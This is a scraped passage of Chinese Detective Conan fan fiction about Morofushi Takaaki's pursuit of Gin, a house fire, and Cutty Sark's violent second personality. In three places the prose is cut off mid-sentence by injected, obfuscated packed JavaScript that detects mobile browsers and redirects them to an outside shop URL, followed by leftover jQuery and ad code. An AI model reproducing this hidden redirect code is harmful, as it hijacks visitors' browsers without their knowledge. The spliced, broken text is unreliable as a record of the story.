卡蒂萨克几乎要被他这一句话给引/爆/了,可又担心诸伏高明会生气,两只拳头紧紧攥着,咬牙切齿:“明先生最喜欢的人是我!”
“是吗?”诸星大夹了一块肉放到诸伏高明面前的碟子里:“明先生,吃块肉,这可是我特意请大厨做的。不像是某些人,明先生请他吃饭,他就真的什么都不带就过来了。”
卡蒂萨克自知理亏,委屈又郁闷地瞪着诸星大,这人好贱啊,霓虹的人都这样心脏吗?好可恶!
诸伏高明却根本没搭理他们,满脑子都是琴酒。
伏特加说他没有任务,那琴酒肯定真的没有任务,毕竟就连伏特加新年都在休假。
所以……
过年的时候专程躲出去,是因为自己之前邀请他一起跨年,琴酒故意在躲他?
琴酒就这么不想和他一起跨年吗?
诸伏高明烦躁地按了按眉心,他到底躲到哪里去了?是别的安全屋?还是干脆去旅游了?
诸伏高明喝了口屠苏酒,只感觉吃什么、喝什么都是苦涩的。
“心情不好吗?”诸星大格外关注他。
卡蒂萨克也很焦虑,“明先生,你不要不高兴,是不是诸星大惹到你了,我现在把他丢出去好不好?”
诸星大凉凉瞥了卡蒂萨克一眼,和这小鬼斗真是无趣极了,小鬼直来直去的,真是令人一眼就能看穿他的小心思。
简单来说就是弱爆了。
“有什么烦心事可以和我说说。”诸星大注视着诸伏高明。
诸伏高明却摆了摆手,说:“你帮不上忙。”
“谁惹了你?”卡蒂萨克很激动,一副要冲出去杀了那家伙的表情。
“是私事。”诸伏高明将“私事”两个字咬得很重。
于是诸星大不再多说了,毕竟诸伏高明都特地点明了是“私事”,就是不愿让他们知晓的意思。
卡蒂萨克却不懂这些,继续追问:“明先生的事情就是我的事情,需要我做什么?我都会去做的!”
诸伏高明抬手摸了摸他的头,缓缓摇头。
“碰个杯。”诸星大朝诸伏高明举杯,笑着说:“私事的话我就不问了,但要借酒消愁我还是可以陪你的。”
诸伏高明也笑着朝他碰了碰酒杯,两人就像是在美国时一样自在,是彼此的至交好友。
一旁的卡蒂萨克匆忙也举起酒杯,很不和谐地和他们碰了碰杯子,总感觉自己有些不赶趟。
可恶!
卡蒂萨克狠狠瞪着诸星大,都怪这个诸星大,他和明先生都没有默契了!
这个跨年夜,虽然身边多了两个人,可对于诸伏高明来说,好像还是很孤单,总心不在焉的。
次日清晨,诸伏高明按照往年的习惯,前往最大的寺庙去祈福,顺便也求了御守。
拿到御守后,诸伏高明却又有些怅然,不知道琴酒要在外面飘多久,这只御守什么时候才能到琴酒手里。
诸伏高明静静等着其他两人祈福,眼角的余光突然扫到什么,下意识便朝那边追了过去。
一路拨开人群,诸伏高明一路朝前,终于见到了自己想了一整晚的人。
琴酒正站在一个老人身边说着什么,老人坐在轮椅上,满脸慈祥,身边还沾着一个容貌清隽的保镖。
诸伏高明下意识走了过去,远远喊他:“黑泽!”
琴酒抬头朝诸伏高明看了眼,表情有些意外。
诸伏高明已到了他们身边,笑容温润,礼貌地和老人打招呼:“老伯你好,我远远地看到朋友在这边,所以过来打个招呼。”
琴酒的表情顿时有些不太自然。
“黑泽,这位长辈是……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617660|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“家里的长辈。”琴酒淡淡回应,又排斥道:“你来这里做什么?这不是你该来的地方。”
诸伏高明被他的话给气笑了,指着寺庙的大殿说道:“这里这么多人,他们都能来,我却来不得?你以为我是特地为你来的吗?少自作多情了。”
琴酒哑口,一时不知该说什么。
“阿阵,怎么和朋友说话呢?”乌丸莲耶轻轻推搡了他一下。
琴酒立刻便好像被人揪住后脖颈的猫,尴尬又老老实实地朝诸伏高明道歉:“抱歉,是我说错话。”
诸伏高明错愕地看着他,努力控制自己的视线不要朝老人身上瞥。
这个老人不简单。
要么他真的是琴酒的亲人,要么他在组织的地位不一般,否则琴酒不会是这种态度。
“送你的。”诸伏高明将刚刚求来的御守朝琴酒手里一塞,笑着说:“不打扰你们了,好好玩,我先走了!”
虽然很想探究老人的身份,但强烈的危机感还是让诸伏高明想要后撤。
不急。
诸伏高明想,只要他能搞定琴酒,日后肯定能摸清老人的身份。
“拜拜!”诸伏高明退得远远地朝琴酒挥手告别,却见那名保镖从身后揽住了琴酒的脖子,几乎半个身子的体重都挂在了琴酒肩膀上。
诸伏高明的唇角渐渐抿平,这下完全笑不出来了。
三人重新聚在一起的时候,卡蒂萨克和诸星大都求到了御守,美国没有这种习俗,卡蒂萨克拿到御守后开心得像个孩子,一路叽叽喳喳和诸伏高明说着这御守有多漂亮。
诸星大没那么幼稚,只打量着诸伏高明,问:“你的御守呢?”
“刚刚送人了。”诸伏高明笑着说。
“送谁了?”诸星大有些意外,诸伏高明离开那会儿去见了谁?
卡蒂萨克立刻将自己的御守递给高明,眼睛亮晶晶的:“明先生,这个送你,听说御守可以给人带来好运哦!”
“还听说,那是我告诉你的。”诸伏高明笑着用力揉他的脑袋,将御守重新塞回到他的手里,说:“你可以买个专门存放御守的三角袋挂起来,挂在脖子或者手机上。”
“你不要吗?”
“是我的东西,总会到我的手里。”诸伏高明微笑着。
他是对的。
三人回到安全屋,开始收拾残局的时候,伏特加上门来了。
“斯洛克,这是大哥让我交给你的。”伏特加拿着一只金色的御守递给诸伏高明。
诸伏高明并不意外,只有些遗憾:“他怎么没亲自送过来?”
“大哥有事在忙。”伏特加公事公办。
然而很快他那副公事公办的态度便绷不住了,因为他看到了……一个,两个,两个小奶狗!
眼睁睁看着诸星大和卡蒂萨克好奇地从门内探出头来,伏特加都要被惊得褪色了。
怎么……怎么会这样?
大哥他……他……
他被绿了,还是被两个!
“哼!”伏特加转身就走,发动车子的同时还不忘给琴酒发消息告诉他这边的情况,不要相信斯洛克啊,他超花心的!
再一次被伏特加甩了脸子的诸伏高明摸了摸鼻子,扭头一看诸星大和卡蒂萨克就全明白了,这伏特加,也太敏感了点吧!
唉,得他亲自来解释了。
诸伏高明将御守收入上衣胸口处的口袋内,接着拨通了琴酒的号码……
“对不起,您所拨打的电话正在通话中。”
诸伏高明的眼神有些放空,啊……他好像被拉黑了。
16.冥场面
诸伏高明觉得自己很冤枉。
想也知道伏特加肯定和琴酒说了什么,但他找来卡蒂萨克和诸星大,不全是琴酒逼得吗?如果琴酒肯和他一起跨年,他才不会找这两个人。
他们明明什么出格的关系都没有,结果琴酒却生气拉黑他了?
诸伏高明向来不会轻易罢休,所以他直接去了琴酒的安全屋,也不等琴酒回来了,直接掏出一根细铁丝对着门锁捣鼓两下,很轻易便打开了。
走进琴酒的安全屋,诸伏高明也没有四处搜寻,而是老老实实走进了厨房。
琴酒拉黑他,他不高兴。
所以他……为了让琴酒把自己从黑名单放出来,决定做一顿大餐来讨好琴酒。
诸伏高明长叹一声,卧底不好当啊,明明受尽委屈却还要去道歉。
新年第一天,琴酒陪先生玩了一天,临近傍晚时才分开。
“阿阵也该有自己的时间,去陪陪朋友也好。”乌丸莲耶是这样对他说的。
可是……
陪朋友?哪个?养了两只小奶狗的那个吗?
琴酒相当不爽,斯洛克真是够了,在美国养了个卡蒂萨克就不说了,才刚回国就又养了个诸星大,别人是来组织赚钱,他是来组织批发小奶狗的吗?
贝尔摩德说得对,诸伏高明根本不可靠,就算先生说过人需要羁绊,他也绝不会找一个这样花心的男朋友。
琴酒没有联系诸伏高明,甚至没将他从黑名单里放出来,直接开车回家打算好好睡一觉。
可当他回到自己的安全屋时……
他的安全屋——
远远地,琴酒便注意到了浓浓的黑烟。
他家好像着火了,诸伏高明就像是个路过的好心人,正手忙脚乱想要将水管接好去灭火。
琴酒一脚油门,车子加速驶了过去。
他几乎是从车上跳下去的,匆忙将水管接到水龙头上,然后迅速将阀门拧到最大,还好这几天气温有些回暖,不过水龙头结冰灭火可就麻烦了。
诸伏高明便扯着水管朝屋子那边跑,猛烈的水流冲刷着嚣张的火焰,最终还是将火给压了下去。
搞完这一切后,两人都累坏了,就在地上不顾形象地躺了下来。
“还好你回来了。”诸伏高明笑着抹了脸脸上的灰,反而将黑灰抹匀了。
琴酒看着他的脸忍俊不禁,却还是道谢:“多谢了。”
然而诸伏高明却笑不出来了。
他有些尴尬地偏开头,眼神心虚地左右瞄着。
琴酒意识到不对劲儿,仔细打量着他,问:“火是怎么烧起来的?这里是郊区,四处没什么人住,应该不会有人往这里放烟花吧?”
琴酒最初是以为有人燃放烟/花/爆/竹的时候不慎点燃的,可仔细想想却又不太对。
“嗯……其实我买了菜。”
“嗯?”这和他房子着火有关吗?
“我本来是想烧一桌好菜给你个惊喜的,但是……”诸伏高明手一摊,后面的话并没有说完,也不需要说完了。
琴酒立刻捕捉到关键点,恼火地坐了起来,质问:“所以你大过年的特意撬锁溜进我家,就是为了烧我的房子?”
“不是!”诸伏高明忙也坐起来解释:“我真的只是想给你做顿饭!”
“我只看到了结果,结果就是我家被烧了!”琴酒指向自己灰扑扑的安全屋。
诸伏高明无法反驳。
他讨厌唯结果论。
“你要知道,我的出发点是好的……”
“但我的家被烧了!”琴酒强调,是他让诸伏高明出发的吗?还出发点是好的,他最好从一开始就别出发!
而且做饭?还是做一顿大餐?
琴酒又想到了五年前,他们刚认识的时候,那个时候诸伏高明也想展现一下他的厨艺。
结果呢?
“你会做饭?你只会做夹生饭!”连个米饭都煮不熟,斯洛克他根本就不会做饭!
“我已经进步了,在美国的三年,我也有自己煮东西吃!”
“是吗?吃进医院了吗?”琴酒用眼神质问着诸伏高明。
诸伏高明微妙地沉默了。
琴酒则要炸/了,进医院了,他真的吃进医院了!
所以,大过年的跑来这里给他“做一顿大餐”,斯洛克到底是何居心?
“我明白了,你的确不是来烧我房的。”琴酒点了点头,表情仍是不善。
诸伏高明觉得对方话里有话,试图为自己辩解一二,对方却已经开口了。
“你是来给我投毒的!”琴酒感觉,自己面对斯洛克时情绪真的很难稳定,毕竟对方所做的一切都太离谱了。
不要碰他的厨房!
不要带需要加工的食材过来!
别做饭别做饭别做饭!
明明这么多年过去了,斯洛克的厨艺有没有长进琴酒不知道,但他的破坏力却有了长足的进步,都升级到可以烧房子了。
“琴酒,你现在有点激动,我觉得我们可以冷静下来……”
琴酒冷笑,指着自己被烧焦的安全屋说:“你仔细看看那栋房子,它之前没那么黑,你将我家烧成这样,现在却说我情绪激动?”
诸伏高明眼观鼻鼻观心,彻底不说话了。
琴酒骂久了也觉得无趣,又重新躺回地上,诸伏高明便也挨着他躺下。
至于两人为什么不进去……
厨房里有煤气罐、隐秘的暗格中还有各种武器,包括手/枪、子/弹、狙/击/枪,甚至连炸/弹都有。
也就是这里足够偏僻没有招来警察,不然灭完火可有意思了,等警察从琴酒安全屋里翻出那些热武器,琴酒大过年的就要表演一场你追我逃。
如今虽然没警察,但两人一时间也不敢进去,打算等温度冷却一些再说,否则炸/了怎么办?
夜幕降临,这会儿夜里温度很低,还好两人穿得都足够厚。
诸伏高明望着天空中的那轮明月,他缓缓伸出手,指尖好像已经能够碰触到。
“真美啊。”诸伏高明忍不住感慨:“平日里都忙得很,倒是很少有机会这样躺下来好好欣赏夜空。”
琴酒忍不住冷嘲热讽:“你的意思是,我们现在在这里挨冷受冻的,还要感激你?”
诸伏高明瞬间怂了,委屈地小声哼哼:“我没那个意思。”
“呵。”
冷笑声太刺耳了,诸伏高明偏头望着琴酒,小声和他道歉:“对不起,我将事情搞砸了。”
琴酒的表情这才稍稍缓和,好歹诸伏高明是知道道歉了。
诸伏高明抿了抿嘴唇,又怀有自己小心思地问琴酒:“琴酒,今晚的月色是不是很漂亮啊?”
琴酒知道他的意思,却冷哼一声,道:“难看死了。”
“咔嚓”,诸伏高明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628031|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的心也死了。
果然,攻略琴酒是一件需要投入大量精力与时间的事情,这就是一块巨难啃的骨头,换做攻略游戏中,琴酒也一定是里面最难攻略的那个。
他当初,为什么要找琴酒来着?
诸伏高明的手一点点抚上琴酒柔顺的发丝,是因为琴酒的头发很美。
又轻轻触碰对方的脸颊,也因为琴酒长相很帅气。
除此之外,还因为他很强大,以及对方身上那种绝对的善与恶之间的纠结对抗。
“还记得那个你和我一起送回家的小姑娘吗?”诸伏高明望着天空中的月亮,突然就想到了那个爱哭的小姑娘。
“怕鬼的那个?”
“是啊,明明怕鬼,却非要去鬼屋探险,结果被吓得哇哇大哭。”诸伏高明忍不住好笑。
“是她朋友不靠谱吧,非要去抓鬼,反而将她一个人丢下了。”琴酒也记了起来。
那个时候,他和高明刚做完组织的任务,就要离开任务现场的时候,突然听到了小孩子的尖叫声。
出于好奇与谨慎两人都过去查看,结果就发现了一个好似独角兽的小姑娘。
“小朋友,你怎么一个人在这?”斯洛克蹲下来和小朋友说话。
小女孩却一把抓紧他的衣服,指着琴酒的方向几乎吓得喘不上来气:“鬼……鬼……”
琴酒一贯喜欢穿一身黑,可偏偏他的皮肤和头发都很白。
于是,在黑夜中,不仔细去看的话,就好像一颗长着长发的死人头在飘来飘去。
琴酒每每回想起这点便十分不爽,手指潦草地拨弄着自己的头发,问高明:“我像鬼吗?”
这样的话,当年回去的路上,琴酒也这样问过高明。
诸伏高明笑着,如之前一样回答:“鬼要是长你这样,那就没人会害怕了。”
“少油嘴滑舌的。”琴酒瞪他一眼,这不好使。
诸伏高明忍不住感慨:“其实我挺惊讶的,我还以为你会气急败坏,然后把小姑娘给杀了。”
“你是变态吗?”琴酒鄙夷地瞥了诸伏高明一眼,感觉莫名其妙:“就因为一句话我就要杀人,你把我当什么了?那小孩看着才上幼稚园!”
诸伏高明顿时笑弯了眼睛。
看,就是这样。
在任务之外,琴酒向来是很好说话的人,也是第一个让诸伏高明觉得这个世界并非非黑即白的人。
聊起过去的时候,两人似乎有说不完的话,在这个晚上,他们的关系好像终于破冰。
两人一直聊、一直聊,兴致盎然。
但或许是做饭加上救火消耗了诸伏高明太多的体力,夜越来越深,他也终于熬不住睡了过去。
新年的夜很冷,后半夜,诸伏高明被琴酒叫醒,忍不住打了个哆嗦。
“冻到了?进屋去睡吧,没事了。”琴酒示意他起身。
看着琴酒身上只穿了一件简单的内衬,再看看自己身上盖着的黑色大衣,诸伏高明好像一下子清醒了。
“谢谢。”诸伏高明下意识抱紧了衣服。
琴酒搓了搓发冷的手,站在地上居高临下地问他:“怎么?还需要我扶你起来?”
“好啊。”诸伏高明顿时笑了。
琴酒却“切”了一声,先一步走向屋子,根本不理他。
诸伏高明也只能懊恼地拍了下自己的额头,一边起身一边朝琴酒喊:“等等我!”
17.夜袭
诸伏高明已经在外面睡过一觉,进入屋子后,他反倒完全不困了。
上次是喝醉了,所以不算,这应该还是回国后琴酒第一次主动邀请他进来睡。
于是诸伏高明相当大胆地跟着琴酒走到了主卧室的门口,再想进去的时候却被琴酒给拦住了。
“你往哪走?那才是你的房间。”琴酒指了指客房。
诸伏高明却理直气壮:“我想睡主卧。琴酒,我们都已经睡过了,你这羞耻感来得未免也太迟了吧?”
琴酒却没有被他的激将法激到,冷冰冰地让他选择:“要么去客房,要么滚回家睡!”
琴酒的态度太坚决了,诸伏高明左看右看没看到可以突破的地方,只能摇头叹息着走进客房。
回家?这里就是他的家,诸伏高明绝不要离开!
客房已经住下了,那主卧还会远吗?
琴酒是真的有些困了,他又是灭火又是检查看房子有没有安全隐患,洗了个澡刚躺床上便睡着了。
当然,困归困,琴酒的警惕性还是不错的,晚上房门刚有一些动静,他立刻便被惊醒了。
下意识摸上手/枪,等琴酒意识到目前是什么情况之后却差点被诸伏高明给气笑了。
这个时间,这个地点,有谁敢来撬他的门吗?
鬼鬼祟祟的,绝对是斯洛克!
琴酒将枪/口对准了门口,他这会儿倦得厉害,实在没空陪斯洛克玩花样,打算等他进门便用枪/口逼退他。
半夜想爬他的床?想这么美,想不想吃子/弹啊?
安全屋的门锁还是有些保障的,诸伏高明撬了好一会儿才打开,琴酒也勾起一抹冷笑,将枪/口对准了敞开的房门。
琴酒本意是要用枪将诸伏高明逼退,但当真正看到诸伏高明的那一刻,他手一抖,差点就走了火。
这不能怪琴酒稳不住,这实在是诸伏高明太过分了,他没穿衣服的!
不只是外套,就连条底裤都没有穿!
鸟儿自由地欢欣雀跃。
琴酒则活像是吃了毒蘑菇,一张脸都铁青了。
“滚出去!”琴酒朝着诸伏高明便是一声怒吼。
“你吓死我了。”诸伏高明拍着自己的胸口,缓了会儿才后知后觉:“哎呀,你没睡着啊。”
“被你吵醒了。”琴酒面无表情。
靠!
他内心狂躁地像是该关进精神病院的疯子,简直恨不得将诸伏高明给撕了。
见过不要脸的没见过这么不要脸的,你特么就光着屁/股在外面撬锁撬了十几分钟?不凉吗?不觉得羞/耻吗?
反正琴酒是有点忍不了,“砰”地朝诸伏高明脚边开了一枪。
“卧槽!”诸伏高明吓得原地跳起,脸都白了,“琴酒,你别乱来!”
“滚!”琴酒再一次喝斥。
诸伏高明试图和他讲道理:“我真不明白你在羞涩什么,我们以前关系不是很好吗?怎么我出国几年,回来你就变心了?你以前可不会对我开/枪!”
琴酒狠狠咬牙,那是他以前不知道诸伏高明能这么变态!
“我不懂,是我技术不够成熟吗?”诸伏高明试探着问,同时解释:“当时大家都是第一次,稍微生涩一点……”
“闭嘴,给我出去!”琴酒将枪/口对准了诸伏高明的头。
诸伏高明不要命地想要继续说,却见琴酒将枪/口/下移、下移……
呃……
他将双腿一夹,难以置信,“琴酒,你不会这样绝情吧?”
琴酒却流露出浓浓的杀意,手指也搭在了扳机上,好像下一秒就会扣下去。
诸伏高明可不敢拿自己的下半生/性/福开玩笑,连忙退出了琴酒房间,最关键他觉得琴酒不至于杀了他,但若是朝那种地方开上一枪,他是真摸不准琴酒干不干得出来。
唉,今日份,大失败!
诸伏高明郁闷地回到客房,根本完全理解不了,他都已经做到这种地步了,怎么就还能失败呢?
后面的那点时间,两人虽然在不同的房间,却是同样的都没有再睡。
清晨,诸伏高明收拾好自己,准备去琴酒面前好好亮个相,可琴酒房门紧闭,看着还没有醒来。
“昨晚闹得太厉害了?”诸伏高明嘀咕着,也没喊他,先去客厅拿了本杂志一边看一边等他。
琴酒没能等到,倒是先等来了伏特加。
“大哥,我来了!”伏特加拎着早餐便开开心心进门了。
诸伏高明放下杂志,眼神直勾勾地盯着伏特加手里的钥匙。
很好,他是撬门进来的,而伏特加是用钥匙打开的房门。
一瞬间,诸伏高明看着伏特加的眼神变得格外危险。
伏特加也吓了一跳,难以置信地问:“斯洛克?你怎么会在这里?”
“我不能在吗?”诸伏高明目光冰冷地注视着他。
“可这里明明是大哥的……”
“琴酒的安全屋,我不能来?”诸伏高明反问。
伏特加被也噎了下,眼神下意识朝楼上看,以往他过来的时候大哥早醒来在客厅等着他了,可今天大哥怎么下来这么晚?
还有这明显被火烧过的房子,靠,斯洛克不是进厨房了吧?
可恶,好不想面对斯洛克!
伏特加平日里虽然给斯洛克使脸色,也会在琴酒面前蛐蛐斯洛克,但现在琴酒不在,他心里头还真有点子发虚。
看着伏特加脸上那阴晴不定的表情,诸伏高明起身从伏特加手里接过早餐,道谢:“辛苦了。”
“这是给大哥的!”
“是的,两份。”诸伏高明很满意地对伏特加说:“我一份,琴酒一份。”
伏特加呆呆地看着诸伏高明,是的……大哥今天让他带了两份过来。
大哥到底为什么还不下来啊?
伏特加都有些着急了,大哥该不会是被斯洛克给害了吧!
伏特加刚想上去,却被诸伏高明拦住了。
“别打扰他,我们昨天折腾到太晚,他这会儿还在睡。”诸伏高明朝伏特加暧昧地眨了眨眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651409|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛,意味深长。
伏特加瞳孔地震,什、什么?
折腾到太晚的意思是……难道说他们又……
“哎呀,昨晚琴酒主动邀请我在这里睡,我也是盛情难却。”诸伏高明紧接着又跟了一句,满脸得了便宜还卖乖。
伏特加都要哭了,大哥啊大哥,天底下好男人那么多,怎么偏偏就又撞到斯洛克这渣男手里了?
他真的很渣,他养了两个小奶狗啊!
伏特加恨不得大吼一声,最好是能将琴酒给吼清醒了,斯洛克他不值得!
诸伏高明歪了歪头,故意拿出手机在伏特加眼前晃了晃。
晃啊晃的,晃得伏特加头昏眼花。
突然,伏特加注意到了上面那个黄色的电光耗子。
“那个是……”
诸伏高明停止晃动,手指轻轻抚摸着黄色的皮卡丘对伏特加炫耀:“是啊,这是琴酒送我的。”
伏特加顿时更心痛了。
可恶,那个耗子它不一般啊!
他亲眼看到过,大哥好几年前钥匙扣上就是这个耗子了,明明挂了这么多年,怎么能说送人就送人呢?
诸伏高明像是完全没注意到伏特加复杂的心绪,甚至用双手捧着小小的皮卡丘,凑近嘴边轻轻吻了一下。
“他爱我!”诸伏高明大声炫耀。
伏特加羞愤欲死,看着诸伏高明就好像看着一头拱了自家水灵灵小白菜的大肥猪,无法接受地冲出房门,上了自己的车便跑了。
他不接受——
就算他逃了,就算他将早餐给了斯洛克,他也必须用自己的行为来告诉斯洛克,他不接受——
等诸伏高明将早餐摆上桌,琴酒才终于姗姗来迟。
他走下楼来,迟疑地看了眼敞开的房门,又看了眼桌上的早餐,问:“伏特加刚刚来过?”
“嗯。”
“他人呢?”一般这种情况,伏特加不该来喊他吃饭吗?
“谁知道呢,他‘嗖’一下就冲出去了,好像有什么重要的事情要去做。”诸伏高明满脸无辜地回答。
琴酒皱了皱眉,明显不是很相信,坐下来用餐的时候却还不忘喊他:“一起吃点。”
“乐意至极。”诸伏高明心情愉悦地坐下。
然而很快,诸伏高明就笑不出来了。
“吃完赶紧走,少留在这里给我添乱。”
诸伏高明错愕地看着琴酒,问:“我走去哪?”
“当然是回你的安全屋。”
诸伏高明气得不想吃了,他都在这里住下了,这里就是他的安全屋!
事实证明,在琴酒面前撒野是没用的。
诸伏高明最终还是被丢出了门,他一个人在安全屋门口敲了好久的门,甚至忍不住故技重施拿出了细铁丝,然后他便被琴酒揍了一顿又丢了出来。
揉揉发疼的胳膊,这次诸伏高明总算是不想着敲门了,狠狠地瞪了房门一眼离开了。
等着吧,诸伏高明想,他迟早能挤进去,琴酒的安全屋合该有自己一个位置!
18.演戏
樱花初放的时节,诸伏高明约了一位不错的精神科医生,一大清早便带着卡蒂萨克过去看病了。
他带了卡蒂萨克的病例以及上一位医生给卡蒂萨克开的药,然后便看着医生开始研读病例,表情越来越凝重。
“医生,怎么样?我的病是不是已经全好了?是不是可以不用吃那种苦得要死的药了?”卡蒂萨克期待地看着医生。
医生朝卡蒂萨克笑了笑,又和他聊了几句,大概知道情况了。
让卡蒂萨克先出去,医生这才语气沉重地告诉诸伏高明:“他没有犯病,并不是因为想开了或者被治愈了,他其实一直都在硬生生压制。”
“这样不好吗?我一直都让他控制。”
医生摇头,说:“双重人格和其他精神疾病不一样,双重人格很难控制,遭受到某些特定的刺激,遇到特定的人或事,对应的人格便会表现出来。”
“可前几年他的确一直没有犯病。”
“会不会是你没有发现?”
诸伏高明一怔。
“我认为,他的另一人格趋向于完整,已经有了演戏骗人的能力。”医生提醒着诸伏高明:“你说他另一人格比较暴力,那么你仔细想一想,有没有哪次他流露出暴力的一面,然后又硬生生忍住?看起来像是被他压制下去了,实际上这或许只是暴力人格在演戏。他不是躁郁症,强行压制是很难的,也不该是那种表现。”
诸伏高明的表情变得相当凝重,他根据医生的假设得出更加可怕的结论:“如果真的是这样,日常表现出的人格或许就是他的暴力人格?可这样一来,暴力人格还能被称为暴力人格吗?”
“这个要分很多种情况的,人的大脑本来就很复杂。”
诸伏高明和医生谈了很久,他以往觉得卡蒂萨克转好的每一个瞬间,在此刻都令他感到毛骨悚然。
如果……他所看到的都只是暴力人格,那个天真的人格又在哪里?他真的还存在吗?
卡蒂萨克究竟还是不是他所认识的卡蒂萨克?
诸伏高明走出医生的办公室,一眼便看到卡蒂萨克正坐在长椅上,两只手撑在身体两侧,悠闲地哼着歌。
“明先生,你出来了!”卡蒂萨克笑着起身。
“嗯。”
“我是不是已经好了?”卡蒂萨克期待地注视着诸伏高明。
“医生说,药还是要继续吃,我们去抓药吧。”诸伏高明看着卡蒂萨克流露出郁闷的表情,看着他皱起的小鼻子,只要一想到这可能只是暴力人格在演戏,就令他感到后背发凉。
“明先生,怎么了吗?”卡蒂萨克敏锐地察觉到诸伏高明情绪不太对。
“不,没什么,先去拿药吧。”诸伏高明拍了拍他的肩膀,朝他露出笑容。
卡蒂萨克这才也露出笑容,拉着诸伏高明的手几乎要快乐地蹦跳起来。
拿了药,两人回家。
诸伏高明开着车,总有些心神不宁,突然说:“卡蒂萨克,我想和你聊聊。”
“嗯?”
“让你的暴力人格出来。”
卡蒂萨克愣住,眼神似乎有些兴奋,又强行隐忍住了,只小心翼翼地问:“为什么啊?明先生,你不是最不喜欢让他出来了吗?他好坏的,总是伤人,明先生讨厌他。”
这样说着,卡蒂萨克低垂下了头。
“你很难过?”
“因为……”
“你会难过,是因为你就是他,我说的没错吧?”诸伏高明一针见血。
卡蒂萨克的脸色瞬间惨白。
他猛地抬起头,惊恐地看着诸伏高明,磕磕巴巴地说:“不、不是的,我……”
诸伏高明却再度拆穿:“为了不让我察觉,你学会了演戏,装成一副天真烂漫的模样来面对我。”
“是那个医生!”卡蒂萨克的表情瞬间狰狞。
诸伏高明却喝斥他:“你想做什么?如果我发现那位医生有什么事,卡蒂萨克,你就再也不要出现在我面前!”
卡蒂萨克被吓到,恐惧地抓住了诸伏高明的衣服。
“我错了,明先生,我不会伤害医生,你不想的话,我就不会去伤害任何人。”卡蒂萨克低声哀求着,又忍不住落下泪来:“为什么啊?你只喜欢弟弟,当初他需要我,所以我就出现了,可我也需要明先生,为什么你偏偏最不喜欢我?”
卡蒂萨克很小的时候,因为饱受欺凌,所以希望能有一个强大的哥哥来保护自己,他的暴力人格其实是为了守护而生的。
以暴制暴,血腥邪恶。
只要杀死那些人,自然就没有人欺负弟弟了,他一向都是那样做的。
可是那一天,他遇见了诸伏高明。
哥哥与弟弟的人格在初见诸伏高明时便连番转换,可当时诸伏高明在和那些人打架,根本没有注意到这一点。
【喜欢!】
不管是哪个人格,在被诸伏高明搀扶进入医院的时候,他们满心满眼都是诸伏高明,心底里全是喜欢。
可是……
“要控制住自己,不能和人打架。”
“双重人格吗?记得,不要让你暴力的一面露出来,明白吗?”
“你下手太重了,我不喜欢。”
他们明明都喜欢诸伏高明,可诸伏高明却偏偏只喜欢他们中的一个——
【超喜欢明先生的!】
【如果打断他的四肢,明先生是不是就会喜欢我了?】
【不能,不能去伤害明先生!】
【所有想伤害明先生的人都该去死!】
【可是明先生生气了,他生气了,他不喜欢我们伤人!】
【去死——去死——去死——】
最终,哥哥妥协了。
他不愿意离开明先生,所以他小心将自己伪装了起来,哪怕只能以弟弟的身份出来。
可是现在,明先生发现他们的计划了!
卡蒂萨克屏住呼吸,扯着诸伏高明的衣服,眼底突然流露出隐晦的戾气。
“这样看着我,是想对我出手吗?”诸伏高明做好了反击的准备,他没接触过其他双重人格,所以并不确保对方会不会真的出手。
卡蒂萨克没有动手,却很固执:“我不会离开明先生的。”
他理直气壮。
诸伏高明想和他好好谈谈,却先被他拿出来的东西给惊到了。
卡蒂萨克竟然从衣服口袋里掏出了两根手指!
手指上没有血,被冲洗的很干净,但这一幕还是给了诸伏高明极强的冲击力。
“既然被明先生发现了,那我就不瞒你了。”卡蒂萨克死死盯着诸伏高明的眼睛说:“我已经很听话了,我没有杀了他,但是他说明先生的坏话就应该受到惩罚!”
“谁?”
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
“我不认识他。”卡蒂萨克伤人从不看对方身份。
诸伏高明感到头疼,一时不知该烦恼对方惹了大麻烦还是该欣慰卡蒂萨克这次没将对方整个人给切碎。
“你只切了他的手指头?”诸伏高明朝卡蒂萨克确认。
卡蒂萨克点头,眼底没有丝毫的负罪感。
这就是暴力人格的不同之处,他会伪装,会演戏,却不会真的去同情伤者,要杀谁的话也绝不会手下留情。
但从这么长时间的伪装来看,他却又并非毫无感情。
“他还好吗?”诸伏高明问的是卡蒂萨克的“弟弟”。
卡蒂萨克点头,为了保护而生的哥哥不会去伤害弟弟,他们只是会交替出现。
